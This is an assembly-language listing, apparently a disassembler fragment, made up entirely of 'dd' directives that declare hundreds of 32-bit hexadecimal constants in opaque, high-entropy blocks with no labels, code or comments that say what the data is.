		dd 41C91234h, 0FEF846ECh, 94F44B64h, 1FC7BF97h,	5918DEEBh
		dd 0F4989809h, 0FE02F9A8h, 5C683454h, 3F1C2E3Fh, 68388810h
		dd 254D5454h, 4903886Ch, 0EA82D114h, 0DA4F0E0Eh, 0E280D281h
		dd 88D1F00Eh, 0D9C557Ch, 52F8864Ch, 0FACBAC50h,	0C1A2EFDEh
		dd 238FE4Eh, 0BC9085E4h, 0B8421822h, 0A081E4C9h, 0F755135Eh
		dd 0CAC47033h, 0FC6F27C8h, 0EC11063Dh, 0B28DF0ECh, 0DC02D820h
		dd 0D9037156h, 0ECC40FD8h, 0FC207E56h, 3456CC29h, 0F4035972h
		dd 0D246D657h, 8FA803C8h, 0F8E7E090h, 0E82CE464h, 0C84E84B8h
		dd 64CA0448h, 62C408E4h, 233CB85Ah, 0E0F1F428h,	0D4C8B70Fh
		dd 0C72C39C9h, 6598808h, 57AD2011h, 13F75EA6h, 0F8EB4447h
		dd 0C6E6C701h, 0C84AC47Eh, 98D10A0h, 0C72B093Ch, 0F7910A54h
		dd 0BB03B9Bh, 886D028Ah, 8922A5Ah, 0CEDC0203h, 1155E681h
		dd 0B707F90Bh, 12FEEE5Eh
		dd 890CA8F8h, 565AC55Dh, 9B2538FDh, 7E536B89h, 5DE72C76h
		dd 7EC48152h, 71BBA565h, 0FA17F4AAh, 38CCB819h,	51B3936Fh
		dd 572CA358h, 0D6FF8B00h, 0CB9A7296h, 0D969D094h, 7A6C2563h
		dd 578BF12h, 96A7544h, 0CE5FC8BAh, 12523E4Fh, 0E68ACE16h
		dd 5A0BE09h, 0B294874Eh, 907F85D1h, 0C2870FE0h,	0F0FC0DD2h
		dd 75258020h, 11E45959h, 56982DECh, 11297A1Ch, 325AE354h
		dd 556B3A8Ch, 89EDE05h,	9C459D05h, 0AC34F548h, 2D512F58h
		dd 9813EBE2h, 437AB816h, 0F0DD2542h, 0F227D29Ah, 0F4ECD9BFh
		dd 76A8AB20h, 0C563C24h, 0AC2D97D8h, 8BE5ACE3h,	39AE279Ah
		dd 0D32CB013h, 85C9B88Eh, 48E08312h, 66BA40B2h,	8C9B475h
		dd 0B61D49B5h, 2ABC3695h, 0C409C08Ah, 499435C2h, 0DC80833h
		dd 2566CC86h, 0C6160E8h, 0CE0DA4BCh, 20B34718h,	1132C228h
		dd 0EABC0E8Ah, 0DE2C5718h, 7D33D0B9h, 31D2A978h, 881DD409h
		dd 12D73902h, 32EA9B5Ch, 0B6CCA814h, 0B8641ED9h, 0FC58577Ah
		dd 687D987Bh, 48054F8Ch, 88865832h, 7C0D5C9Dh, 65D44C6h
		dd 0BF0B5395h, 26B5E3Fh, 81581632h, 502C15BCh, 57127451h
		dd 2334B345h, 98685146h, 9A68849Dh, 0D2F5CB39h,	7588BDE9h
		dd 5681020Dh, 3297BF72h, 6B7FC21Eh, 22D169E4h, 0FC93C4DBh
		dd 14219F8Bh, 95B8403Dh, 875707A5h, 0ACF2C454h,	235D90Ah
		dd 24D48604h, 1082E990h, 82C7E040h, 461ABA95h, 676020EAh
		dd 0A5021421h, 0AC5C0A44h, 0E0F2F535h, 0EAD795B4h, 0D254A168h
		dd 89C21675h, 0CFB02B1Fh, 15DB9F03h, 1A75F441h,	0E9AC8698h
		dd 0F656FC68h, 33591F54h, 63C6D4F9h, 4D8D6E0Bh,	495171ECh
		dd 409CB658h, 91555B6Bh, 0A468C60Eh, 1BEB2573h,	672DBED6h
		dd 1D201503h, 61A15488h, 22FBC525h, 0ED574F5Bh,	79FA9378h
		dd 0B2A12A72h, 0E0BC286Ah, 7FB992B5h, 0A28603C6h, 8DD81842h
		dd 1191BD39h, 1244E225h, 10D6611Dh, 8C2F2026h, 1D98D764h
		dd 0F44BE199h, 0FC4D2D43h, 240D5AA7h, 0CBCD010Ch, 0E53B6A07h
		dd 93748259h, 0BADBE25h, 3105EB12h, 633D3926h, 91522180h
		dd 57CC10F0h, 381153F4h, 7CB35380h, 0D122D264h,	4F96D011h
		dd 24797DACh, 76B3AC33h, 5C65661h, 286E7CFDh, 0A336667Ch
		dd 92491BBAh, 0BC0532F4h, 6BDC0117h, 2213BE9Bh,	8064C04Eh
		dd 114CC10Eh, 0D68AC22Bh, 0B8C4C741h, 0C885E047h, 0F2853C0Bh
		dd 43506408h, 0D3E250D2h, 0DB102A92h, 9B3027E0h, 28A60EEBh
		dd 7E236DBBh, 1669CE1Ah, 8682D2Ah, 15345DCCh, 5BADDDCCh
		dd 0A38A04C8h, 0F7E02AD0h, 7E6852FBh, 5A1EB7D4h, 5628DC42h
		dd 0A369D2E7h, 0C1ACD624h, 292156D3h, 23934FFCh, 2DD06FD8h
		dd 519AA986h, 8FDE4B01h, 69892121h, 0D8A728F6h,	9A7E59C6h
		dd 93C65B42h, 0EEAAF11Bh, 1BF6C2C2h, 84492DA4h,	73CAF5AAh
		dd 2D9D1889h, 660BDE4Bh, 564E95C3h, 5204A674h, 0EB04F4F0h
		dd 0FBCBE8ACh, 1CC86D4Ah, 0FD4AF00Eh, 653E30DAh, 10E08E4Eh
		dd 88EFF730h, 98FEA510h, 147D1CBAh, 7575B928h, 0C468599Fh
		dd 0FD8CBAB8h, 0B84C4F65h, 34FFB51Ch, 0A937C743h, 0D4A752F1h
		dd 93DD52D2h, 0C37A4602h, 0F229AC4Fh, 45CE7D6Ah, 428D2AD7h
		dd 3E49B13Eh, 0F35F37B3h, 66134E52h, 588E7BECh,	0B0B6CFAEh
		dd 8B74044Eh, 739F4DF6h, 9D11E440h, 7411181Ah, 8A6039Dh
		dd 81C99CC7h, 0D9FABDAFh, 7CA1074Fh, 4974E32Eh,	0C4A12040h
		dd 0A1B67494h, 6D853B5Dh, 0CB297F8h, 403F6E55h,	18BE5058h
		dd 1A7FD972h, 0D1CA6B8Ch, 0A3020EF3h, 0EE428148h, 2570B3CDh
		dd 290BE94h, 0D6196A24h, 0ECBE5538h, 0D7A69D89h, 12844D34h
		dd 0FCF4EF37h, 2164C749h, 4B3D2099h, 15385CB2h,	897C0A50h
		dd 2A450816h, 21071780h, 8C883588h, 51906250h, 86589418h
		dd 886E9821h, 0A062719Ch, 87A41877h, 89A82186h,	628BAC88h
		dd 0B4188FB0h, 100142BBh, 0BCCEBDB8h, 0C0410408h, 0C4080599h
		dd 0C808DC43h, 0CC4106B8h, 0D0080CEAh, 40D3D21h, 201388D4h
		dd 841A0BD8h, 1F40DC10h, 4490E084h, 5FEAABF3h, 3E40A82h
		dd 25FAA260h, 0D2F14B72h, 5EE00812h, 2BFF8664h,	63428825h
		dd 9105BC8Dh, 84ED66F2h, 9BBA0855h, 0E9853984h,	92D35B27h
		dd 0AE50C4E4h, 5840A410h, 50917904h, 7967A53Dh,	2CF816EBh
		dd 5D7C39CBh, 8B300CF6h, 8907D44Dh, 5E0D4884h, 870EF992h
		dd 0BF927C70h, 6893494Ch, 5705C9E6h, 0D64D9C2Bh, 5C74A3D2h
		dd 0C6E69D17h, 0C8F877Eh, 0EBADF277h, 15F0D25Bh, 0D138CEFCh
		dd 0F04E933Ch, 0EBCF35E9h, 53323213h, 1EAFA053h, 0C889B289h
		dd 1C42F8F6h, 9043787Ch, 1DE84A2Dh, 70650CF3h, 34A0BE5Eh
		dd 10A005C6h, 0F0B95645h, 26F11AB2h, 0E9440E06h, 6A4EAA08h
		dd 84F1B7Bh, 0ECA36678h, 943C0EA1h, 4F0CF00Dh, 4532C236h
		dd 960C7EEAh, 0A1750FEEh, 0A214FE8Dh, 905942Eh,	7FE0C108h
		dd 0EBCE5FAEh, 0CA14C572h, 80F410CFh, 0B7510889h, 1BF8B03Eh
		dd 56091D88h, 56195F81h, 0A20AA853h, 0D2B5441Dh, 0E7C12979h
		dd 3104390h, 575457FAh,	450CA367h, 0B086BA0h, 240BAF56h
		dd 6A60810Fh, 0E44A214h, 0A1F05BF0h, 99EA048Ch,	7410E93h
		dd 0C1BEFEA3h, 64243D11h, 0E35028CCh, 0F70D2935h, 2AA31488h
		dd 25A12125h, 1B109106h, 145D0265h, 0D1123A4Fh,	48EB9550h
		dd 39CC2F05h, 2F247514h, 32FB6956h, 0A175FC4Ah,	20D2D193h
		dd 4A095DA4h, 0EBC38302h, 115E421Fh, 569F1024h,	7FA4A353h
		dd 0DD570548h, 0CF8552B8h, 0BE59856Ah, 2CBF5305h, 4CF2C462h
		dd 1D0C685Eh, 0A5F304E3h, 28B384BEh, 1295569Ah,	90635DC8h
		dd 11AD3495h, 27551229h, 0F0301CA2h, 90D0A468h,	50285CC6h
		dd 0C90C352Eh, 3CF9C0ECh, 95F4931h, 0A9238C0Fh,	93AC4EDAh
		dd 4F5C975h, 0CAAB1066h, 8E671715h, 92B88009h, 0A6E757BBh
		dd 3AAE85ACh, 0AB886889h, 473F8992h, 0C4331F63h, 0D3C558BEh
		dd 1E033E28h, 18468D36h, 68543C50h, 0D8DE4AE9h,	26457552h
		dd 3AEA0192h, 0FC8468A2h, 4EABC613h, 0FEE94738h, 7CEC225Dh
		dd 0E4147FB6h, 0BD00789Fh, 9A0EE292h, 4CBB1AB1h, 499177CDh
		dd 9085E9BEh, 12023BE1h, 838D7F6Ah, 0FF09128Bh,	2BFC385Fh
		dd 0DE3B09DFh, 0BF50E37Dh, 50DA26BFh, 5FA5011h,	0F04284F8h
		dd 0F216F621h, 5AC9E484h, 28779C3Ah, 95AD2B6h, 0E9A2E44Eh
		dd 68833FEBh, 0F75561CFh, 4E23A504h, 581465CAh,	338323B8h
		dd 50888C0h, 483D22A1h,	0F23B7C9Bh, 10248339h, 0BC8BE56h
		dd 511675B5h, 0E5BE3A5Ch, 414180Bh, 0A256A22Ch,	915E5942h
		dd 292B1C6Ch, 0E419D641h, 0F7261415h, 2E5F9B50h, 94CC5539h
		dd 893D5CF8h, 0B80C285Ch, 75120110h, 41521E24h,	696B8131h
		dd 0EB20ECE9h, 8F48B5F8h, 1C95E4B5h, 0A2804EF9h, 5E186BCCh
		dd 0B71234B7h, 0C04F7BA2h, 7F74C2D2h, 658336E8h, 993A0849h
		dd 1E893BE7h, 0B211527Dh, 1936583Ch, 0C6CA38BAh, 0A8683C13h
		dd 594A3A41h, 0AF7E7DA7h, 0DF107621h, 6F72562Bh, 0BB8492DAh
		dd 11BA5480h, 0A632C54Ch, 0B756E454h, 70F7E888h, 753A3959h
		dd 202973F0h, 5C251B56h, 34E86477h, 3FA54B3Dh, 0E30B647h
		dd 0E1390D69h, 51B2F639h, 0BF2A0870h, 0A8C2F730h, 74FCB4BBh
		dd 90D1BAE2h, 0B53FCE60h, 2C6ACE3h, 0E647589Fh,	0FD5CD737h
		dd 8E26198h, 0DC6E1C74h, 0DB45934h, 9A9854A8h, 385F119Fh
		dd 480AEB11h, 725A800Ch, 0C5F0D298h, 1FC78313h,	0BB485BCAh
		dd 0B67A8E2h, 0FE050C09h
		dd 14D7E957h, 0FD382476h, 95FC5A2h, 96025685h, 0F50E02A0h
		dd 2DBC35DAh, 0C4351C45h, 24155306h, 0C63B2D0Dh, 840F1C40h
		dd 21045D28h, 25026A2Ah, 9E77EE8Ah, 0C73B30D7h,	5D73EC46h
		dd 709C19A4h, 0AC41FA99h, 0E211F9D6h, 394AD075h, 98551A12h
		dd 86FD3C68h, 88D3877h,	0BC71FAF4h, 33B22F69h, 0BB70EFCEh
		dd 7A07D025h, 251B738h,	0E09612A4h, 3C249834h, 29E5CFEFh
		dd 9A498908h, 8089ACB7h, 8453912Ch, 501174CCh, 0DB71A16Dh
		dd 0DC5ECAB3h, 8C9F7842h, 0B5EC5D08h, 3B0B74E6h, 0D42273FBh
		dd 9E69BC11h, 544288F5h, 0E016F9EEh, 0E22EC7FDh, 7DCC9EE6h
		dd 1EC8AE08h, 3A3B0574h, 14A7793h, 8B01C07Dh, 68D061C7h
		dd 505024FCh, 64A282C9h, 10EB02FAh, 2445129Ch, 0F84A8ABEh
		dd 7505C984h, 9CDC1996h, 0F85F5E4h, 895A2787h, 440570A9h
		dd 496E7401h, 0FF44A6B7h, 79808C22h, 9AE45C89h,	0A8F94E73h
		dd 596EE50Dh, 57965656h, 0FC35721Fh, 0F7EB223Ah, 0BAEF1F1h
		dd 0EDCA41C7h, 55859A7Dh, 0AFDCD118h, 6FE483A1h, 8AAEEEA0h
		dd 143AD713h, 0B52E415Fh, 6A6D21ABh, 507BA4B2h,	2DDC0B7Dh
		dd 1B56400Dh, 562DFE2Bh, 50353317h, 42773642h, 682B611Bh
		dd 8F2FF994h, 0AA0F4903h, 1C4FC60h, 8C63BF59h, 0F25C7589h
		dd 0EE836E05h, 8D7AB750h, 0D9D58848h, 7F3744A0h, 1E376489h
		dd 9FD12446h, 1BEA840h,	44661782h, 0FED36E24h, 263ED13Dh
		dd 3C33333Ah, 56F4CDE2h, 0CCFC5F24h, 3EE9F847h,	99DF22F3h
		dd 5FC3544h, 1C5738BBh,	12BD8928h, 85C749C7h, 0B27A870Dh
		dd 660103F0h, 1424B589h, 30505F1Bh, 901EEE9Dh, 0CF96A528h
		dd 22205F68h, 21E6C066h, 0EA127529h, 684BB872h,	0EBBCA884h
		dd 4B1AB10Ch, 9C1CBB12h, 587C3EB3h, 0FDD7EF59h,	0B4485846h
		dd 0EBD175BAh, 0C933AE04h, 308DEB0h, 158A107Eh,	240EFBF2h
		dd 0AC011430h, 4A7C213Bh, 5C2B32F0h, 7F499174h,	0BEE47104h
		dd 18B3DA85h, 9FD38562h, 0EA7EC0B2h, 0BC891DC4h, 0D3AE822Bh
		dd 0B7BB365Fh, 5EAC90C8h, 90F87AD6h, 0BEFA75B3h, 8C6AFD39h
		dd 0EE86B845h, 8FE6B7D8h, 0F3DC7D27h, 65A893E5h, 9764BE6Bh
		dd 0AC8FC8B8h, 2C9A37F4h, 3A6F598Ah, 847C24D2h,	887CC045h
		dd 25821429h, 358B5940h, 0D697B4B1h, 7459C997h,	80C706AAh
		dd 502ABDB0h, 40DA9C5h,	19A36424h, 57088C11h, 174A7626h
		dd 882EE915h, 672B1D0Ch, 7E0B43F4h, 0EB917D1Dh,	0F7160B08h
		dd 0C43FFC60h, 81FE460Bh, 7A32E333h, 18B0F8C8h,	71F8EB01h
		dd 7BBD10B8h, 0C62B084h, 571D4856h, 0BB392C74h,	7EB3CF07h
		dd 5EBDB85Bh, 0D8BCD316h, 1144B7D2h, 974A1127h,	3E07008h
		dd 6A2DDAEBh, 58F7FE06h, 0A595F08Bh, 0C2ACF773h, 53C0740Bh
		dd 256615DFh, 688BFCF1h, 0F9947F87h, 0B8EDADD2h, 7157C95Ah
		dd 2BE02FF6h, 41F997F0h, 5E600B69h, 227F6BECh, 16FAE0C9h
		dd 13A51781h, 4A2083BEh, 0DFC68239h, 0D225DD59h, 1F2C53DEh
		dd 80188622h, 0C33F2BDh, 7E7D6075h, 0FB2C6818h,	416815B6h
		dd 95687462h, 81BA2038h, 90FE74B7h, 5B750236h, 48AE0D47h
		dd 7D27196Bh, 9E025AFh,	0C800FFC7h, 2CFE810Ch, 9D38A0B5h
		dd 64EB43C3h, 2F5C4F20h, 0C71CF624h, 905F7A8Bh,	5BC385ACh
		dd 33E5BAB1h, 5057CB6Fh, 70B650D2h, 86B20CE5h, 7D04F786h
		dd 79FE2FD3h, 0BA10053Eh, 0BC4EC18Bh, 61B8E45Ah, 4788BFC5h
		dd 76057584h, 7EFB0F80h, 54BE8BDCh, 522BA6FAh, 106E44F0h
		dd 0E35BA73h, 0C97C23B4h, 3FF4564Fh, 9018F4EFh,	6857E08Ch
		dd 77FB5C70h, 8D9514E2h, 18138248h, 56127E52h, 2B839FBh
		dd 7BCA8BA0h, 0D1F09564h, 0BD26B00h, 2301C281h,	0A9675E45h
		dd 50890AEEh, 47001208h, 5477EA81h, 20BACC32h, 73840C23h
		dd 61C93325h, 4D760228h, 3576C136h, 4806C52Eh, 3A64E314h
		dd 56FAF740h, 0DBDCA4F3h, 0ECA90E17h, 3C8D0304h, 3F5A80D1h
		dd 737AF93Bh, 0C046FF30h, 63E89CAh, 11DE9C1h, 4A5E154Eh
		dd 0C5BAEB0h, 55895342h, 0C2F4DC8h, 83F36040h, 18AECF8h
		dd 64C8809h, 343E7517h,	1A5F4688h, 0F5F99C0h, 0FF5801B6h
		dd 708AD233h, 0FE7ECF01h, 63ED044Fh, 0FA27D332h, 0C78909A4h
		dd 4F0480D6h, 0AEB5DC75h, 31BB9699h, 2F44761Bh,	780F9D16h
		dd 0AB75A24Dh, 45F6F15Bh, 6BACE944h, 64A27026h,	8771EE59h
		dd 0A138F430h, 0F7FBF0D3h, 0FE23D71Bh, 11FA3B1Eh, 580BF39Eh
		dd 0B48D2403h, 0A4781706h, 0E432D76Ah, 0EAC11CD6h, 7E6C719h
		dd 70838F0Bh, 0CE5A0304h, 0F20778ACh, 0EEF7FA23h, 0DB0B5A99h
		dd 30C79D8h, 0BC8D22C0h, 3EB75637h, 9FFFE8C7h, 0E766570Eh
		dd 78582F0Ch, 0AEF233B9h, 7AFEC3D4h, 8AB5D95Eh,	0BDAD0DEh
		dd 2E590CCDh, 9C8D2A80h, 2070DB3Bh, 0C1B42461h,	0E3CC0FEFh
		dd 582FCD11h, 5D52978Ah, 23DF3303h, 6CD38BF7h, 0DE867252h
		dd 0F3210365h, 335CA358h, 0BDCE1AEEh, 830718C1h, 0AEB6116h
		dd 0F703E00Bh, 51FE9BCCh, 0DF80A15Dh, 5C10D298h, 8DF003BCh
		dd 0AF1A9403h, 72F57C0Fh, 0ACFA6834h, 78E210AEh, 146B50F8h
		dd 307CFCADh, 0D2F7DFFEh, 920CE5E9h, 261FC052h,	60036CB3h
		dd 2A13AA28h, 477D87C6h, 8DB44FFh, 2E30E3B1h, 50031858h
		dd 0F1E083D7h, 0DB81FAA8h, 0BF3C4B9h, 368DDDFh,	5802E086h
		dd 3046131Ah, 0AF1B12A8h, 86D80C6h, 0FA9E494Eh,	2109647Dh
		dd 811C1484h, 80CCBA64h, 95011E32h, 38FD4634h, 4005F614h
		dd 0C783EEACh, 309E8CAh, 1A030AFAh, 32A284A2h, 0C44E0C8Ch
		dd 8403C2A2h, 284403C0h, 9811D8D9h, 0EE286980h,	8AE341B1h
		dd 0DC24582Eh, 0D0578420h, 43051DFh, 0D0810861h, 0F7AF1F04h
		dd 3024B685h, 0D78AAD37h, 0A7E1E83Eh, 42C45D43h, 28218156h
		dd 543C012h, 8DFF5BB1h,	8806E354h, 8B11100Fh, 40A622Ch
		dd 79CD8D5h, 2A5D91D6h,	0D8C44006h, 22D7BE88h, 0E248895Ch
		dd 7EDAD05Bh, 0D2A2DAF8h, 30505B96h, 0D7A8C456h, 90211122h
		dd 34EF936Bh, 34D74809h, 0C28DC44h, 840D4A4h, 719388DCh
		dd 21FD9821h, 9DADAAABh, 0AC2030D1h, 44DE5576h,	0D6AA235Fh
		dd 387CDE66h, 3C83624h,	60C07010h, 79438E1Eh, 0F4084A6h
		dd 6D40F011h, 0A75C673Ch, 3287FE9Bh, 88430C4Ah,	0B09A7275h
		dd 0B28C7F0h, 2AD062C3h, 21021EE4h, 0A249B40Fh,	84E0C1C2h
		dd 3D1EEAB4h, 0C603B462h, 0D84AD78Eh, 3E35A4D6h, 17028CCDh
		dd 0F61E2562h, 1B3CEF8Ch, 53C8790h, 54014B0Bh, 0F823D003h
		dd 5D228033h, 7240E044h, 20C042B3h, 0D8094417h,	56F50355h
		dd 50D04852h, 0D87350F9h, 5A51F4A8h, 0F2265E29h, 0E221210h
		dd 5346F249h, 2BA549C2h, 24A6EFDAh, 0AA308400h,	0FAE9B6C7h
		dd 0EF48D0F0h, 2DF1E820h, 65C348B1h, 0B910C7DCh, 0F4FA7AB1h
		dd 105DAEA8h, 50D62F22h, 82E28DE8h, 1FD7AE05h, 4588A4ADh
		dd 72B312D8h, 5320C08Dh, 84024414h, 0C8849086h,	5590D054h
		dd 0DA260582h, 3F69010h, 0E6811FBCh, 0D522F5A1h, 4D0E0412h
		dd 593272F8h, 0B48B7D26h, 0BCDA724Ch, 0C83EB783h, 17E7D3D9h
		dd 0EE10904Ah, 5879BA78h, 0A93AB03h, 0B7B4DFB1h, 41D0F594h
		dd 0E1CDE6B3h, 84EE1221h, 0B310E092h, 0CAB2C229h, 1DC86563h
		dd 7D64690h, 44FF1A37h,	149036B5h, 52C613A1h, 0DE044590h
		dd 0CAD88992h, 876A489Ah, 0F4D5290Dh, 221210D8h, 72D6650Eh
		dd 4668908h, 0DEB40A90h, 90E8E4DAh, 5A14ED8Ch, 0A1E24544h
		dd 8907EF90h, 0DB0FD192h
		dd 948E76F2h, 0B3A8DCFEh, 0E322E905h, 90EF50A9h, 0B30582E6h
		dd 97B23DF0h, 3040758Dh, 0EFA3F833h, 212599FCh,	2CC9A190h
		dd 0B656A428h, 2AB15048h, 84007B26h, 6F02D918h,	40D6A467h
		dd 0C7890E12h, 0D7144735h, 4E499513h, 0C48C11DFh, 2A4C8A10h
		dd 84E012EDh, 4812EA8Dh, 330E083Ah, 92D04BD6h, 42AA0011h
		dd 88FFFA39h, 3D901CEAh, 0FEAA0454h, 0EE72A9A3h, 0E8A3FA50h
		dd 334886AAh, 7121F681h, 20151087h, 82FF920Bh, 79200ACBh
		dd 2241D864h, 116D9D61h, 0C64710EFh, 0FB030538h, 0F3418333h
		dd 0F136C5A4h, 0C72401Eh, 0FD44E538h, 0E8BFA1E6h, 0F7E00504h
		dd 0ECB44933h, 0EA444420h, 83D4A4BEh, 131C8847h, 631F6404h
		dd 3E02BC92h, 0DECFA913h, 8CEC894Bh, 82E2E69Ah,	20FFF40Ah
		dd 1F5AD0F4h, 1702CC88h, 61BB4B60h, 7242FAE7h, 26100FE2h
		dd 0D3A00D31h, 53401E82h, 700916B4h, 41BEBFBCh,	0E890E2BBh
		dd 99978EEh, 958FD714h,	0C6300171h, 8B289B7Eh, 0E67484D6h
		dd 0F70D7D1Fh, 0C934C203h, 50D032F0h, 2710FA6Ah, 0E790EAA1h
		dd 498C14D3h, 1C89DE10h, 0F6A4DA33h, 85860069h,	98D4EF30h
		dd 2093830Fh, 1790E7E8h, 0AA31DE2Ch, 52A2D8B9h,	805A4C0Ch
		dd 1D053ABCh, 0F0044888h, 9111788h, 0B2A8D38Dh,	3D03A80h
		dd 0D4A93938h, 29A21D9h, 50FE779h, 5608C203h, 0E51E00C4h
		dd 8BE6DB99h, 78F78FCAh, 8978E710h, 546EA0FEh, 777BE449h
		dd 1FA27C10h, 0C1391088h, 38AC1E35h, 3E0C9499h,	8246D424h
		dd 0C4AC5665h, 76FA3E86h, 3CEAECC8h, 0FB268D4Dh, 33FC328Ch
		dd 0A49AAB50h, 22441009h, 0D0AB8629h, 0FA1A4836h, 2E0B061Eh
		dd 1EC393E5h, 9FA341Ah,	0B4404581h, 0FF129706h,	0E22432Ah
		dd 640A0416h, 0A5157F85h, 41094BBh, 0AB9423A7h,	0F041122h
		dd 82F07ACCh, 7B097342h, 391F3420h, 0FC4993A0h,	0BEF190Fh
		dd 3228153Ch, 0B060B041h, 33A2A1D7h, 0D7444038h, 59C3093Ah
		dd 5291655Bh, 1906021Ah, 0D63DA0D3h, 4B50FB41h,	24CC9238h
		dd 440D8F0Ch, 200A0816h, 3CF1DAE0h, 0C0677246h,	5F593E3Ch
		dd 4410300Ah, 200F0811h, 3CF1D9DCh, 221222FEh, 5DD108ECh
		dd 0E78E8584h, 0BEB6515h, 0A9FE498Ch, 5732DF96h, 1A57004Ah
		dd 6FA87E4Fh, 0E3354EBAh, 4E89F706h, 90F438A0h,	0C434A240h
		dd 189C0249h, 0FE2CE6E0h, 0AE3DCC8h, 0DC33F7D3h, 0D87924C2h
		dd 0EB1025A3h, 4314141Eh, 0F9F0A301h, 0A1FDD70h, 4E0811A1h
		dd 0BC447478h, 537E3F82h, 0E3F012C5h, 0ECB4F10Dh, 0D878223Ch
		dd 0F235A1C8h, 64BD3A36h, 0E0F08172h, 0A1248B07h, 0C38690DAh
		dd 0D481C233h, 0D7D2BB10h, 11202A42h, 7E420F45h, 5C8646C3h
		dd 0BC80B3F3h, 86D39137h, 318BEB1Fh, 4E0EF212h,	5C08D389h
		dd 3F0B1015h, 4518B5Fh,	89A5065Eh, 0BA8B790Ch, 6D41EA56h
		dd 0EB1A680Ch, 53B7109Eh, 9140967Fh, 0ED386A79h, 0D5A16F06h
		dd 0CCA11C3Bh, 3C0FC4Dh, 590F7EB4h, 77C0F3Bh, 2B70786Ah
		dd 125157C8h, 0AEFB9068h, 0B275D731h, 67D10C02h, 0E4741AFh
		dd 78B60F10h, 0D7F16DB4h, 9FA2795h, 0F56D244Fh,	1D973F59h
		dd 50827E37h, 0B76FD157h, 6A8A3E82h, 5ECF0091h,	88118A5Fh
		dd 40C25048h, 878EACFh,	0D7071051h, 19011E21h, 0B0021018h
		dd 754EA579h, 0E494B4DBh, 0B888AF68h, 20985B45h, 0FF6C75D7h
		dd 645362E7h, 0B2335721h, 7F091540h, 0BE842E4Ah, 6E8CC9ABh
		dd 9003F074h, 0BF03544h, 0FBD068F8h, 44B704D3h,	0FE474637h
		dd 0F6E57272h, 0A8C50E4h, 0B5DB3388h, 0B3421EC2h, 9738F47Ch
		dd 4CC74081h, 0DA4B6477h, 89DCE16Fh, 0D2F48A25h, 50B5D452h
		dd 0A02FD8A3h, 0B1E2654Bh, 2A252C0Dh, 92C02448h, 845DAE68h
		dd 41FC3444h, 88D88FAh,	0C3BA141h, 3D0F0472h, 4694025Ah
		dd 0DC4A0EF8h, 0F74E7C4Ah, 0FBD788E6h, 850F0F20h, 50045FE4h
		dd 834B1DDFh, 1B5AD1D7h, 66784CFCh, 213C1F7Dh, 612AC145h
		dd 9FC109Eh, 148C712Ah,	955308FDh, 0CC22AF3h, 0F90F2CFAh
		dd 25495389h, 0F985B07Ch, 1AFCE10Eh, 7C680A1Fh,	780B32FEh
		dd 29EAECF6h, 3E63ABD7h, 0BC4A3752h, 1C6CD846h,	0DBA454BEh
		dd 8BC05085h, 2F0141A7h, 0FDFB39B0h, 0A0413102h, 1CF32EFFh
		dd 59043F7Fh, 39712327h, 5601C2BAh, 8861C280h, 47334297h
		dd 0B1C021BAh, 0BFA5DD72h, 0FE981031h, 0D6746801h, 129BCD57h
		dd 0E12ABE98h, 8BE19823h, 42DBD83Dh, 532B180Ch,	3EE3ADA3h
		dd 0E1D73C2Fh, 0B32E38FDh, 0F2A84FF3h, 74208098h, 7E0A056Eh
		dd 98682384h, 0BD8B16FEh, 0CA84970Fh, 0EBDC3F7Dh, 977AA6C2h
		dd 591CF122h, 76A0D90h,	10F272A6h, 0A5F0E5B7h, 3E9C34C9h
		dd 34B82A84h, 0B4FE7DB3h, 927BA84Ch, 0CC2F53ECh, 64B5CC50h
		dd 0FD22E19Ch, 0DE667E48h, 0FC42E310h, 5169A171h, 0F88F65Dh
		dd 681CF574h, 14E5FD69h, 9CB68CAEh, 5B7D27E9h, 84CE50C6h
		dd 19DCD428h, 824CB9B4h, 96C86828h, 0FE899DCCh,	0E4665371h
		dd 0F519970Ah, 1D6C3653h, 0A2533D83h, 7E02B000h, 0C2A4A143h
		dd 470FF11h, 8B3F1857h,	4D6A7CF8h, 0BF929D57h, 2040A964h
		dd 74085839h, 0F11C9519h, 6953586h, 0A71DF812h,	0FB0C08BAh
		dd 420F9054h, 101534ECh, 0D9688BAh, 1F8224A4h, 289C435Dh
		dd 0E31DFC2Ah, 0FDB4394Ch, 0CC586417h, 0F1959C75h, 3ADD4B83h
		dd 205FD617h, 276EE5F0h, 0E0028D5Fh, 4EDFFDE0h,	8096296Ch
		dd 324164E3h, 9073A62Eh, 976510Eh, 6570AD5Ah, 61652D6Dh
		dd 82183432h, 7FFDBC63h, 24345B47h, 52D10DDCh, 8D4E0DD6h
		dd 0B662088h, 58E41283h, 9283E9C5h, 457FCD63h, 0E4D5B022h
		dd 1D89F764h, 0ADA2501Dh, 0A162ED56h, 6AD2A0D8h, 0F364BF3Fh
		dd 7068228Dh, 0AE13E43h, 2EA61C19h, 5A17202Ah, 0A46CB878h
		dd 7848D70Ch, 0A94A8A38h, 44220DAAh, 9041E816h,	715825A4h
		dd 310797D7h, 442CEB3Dh, 4C6848F0h, 61BB85C2h, 1B7202C0h
		dd 20BE841Ch, 74173954h, 4DFF0301h, 271068FCh, 45CFFF22h
		dd 642A0D7h, 0CA77C36h,	9552C858h, 74D0024Bh, 8DB9B440h
		dd 72AE21B3h, 244AA936h, 0D1E00D12h, 38AC0D84h,	922F801Dh
		dd 3DF149A2h, 88C799BEh, 2B94C4DCh, 85499C23h, 7489F41Ah
		dd 97EC5014h, 27D8FEE4h, 54469D10h, 0D404B425h,	0C595145h
		dd 0DB33886Ch, 2DA5F324h, 6080C784h, 0BED465EFh, 0DF53FC22h
		dd 0C010FB95h, 202CBAE4h, 0FC024A3Fh, 2DF08993h, 6D3A7737h
		dd 0C8D496C7h, 0A262C7E3h, 357EB089h, 0B2AAAFB4h, 8F66D962h
		dd 2CCA1C08h, 0F86E6DD0h, 5135FF17h, 0CC3BF0F8h, 7A19D1EEh
		dd 8B61B6Ah, 548B8F2h, 0E78BD7F0h, 85282B06h, 24BB689Eh
		dd 6A411341h, 0B22B39C2h, 91054ACDh, 31AED184h,	6FE03F44h
		dd 0D9C418A4h, 654C581Bh, 3EE62A0Fh, 0D74912D0h, 0CEA2BD73h
		dd 8414FEACh, 480C8011h, 6B52BF0Bh, 0B33B1041h,	452A43A1h
		dd 5C189743h, 0B589CC20h, 920FDD54h, 6A64EA9Dh,	49039616h
		dd 0A846827h, 60BD8997h, 0F60B4913h, 5885B810h,	27EB4FD2h
		dd 2031AAE6h, 76683DEEh, 0E247FCCFh, 0FF1F898Dh, 124A4A3Ch
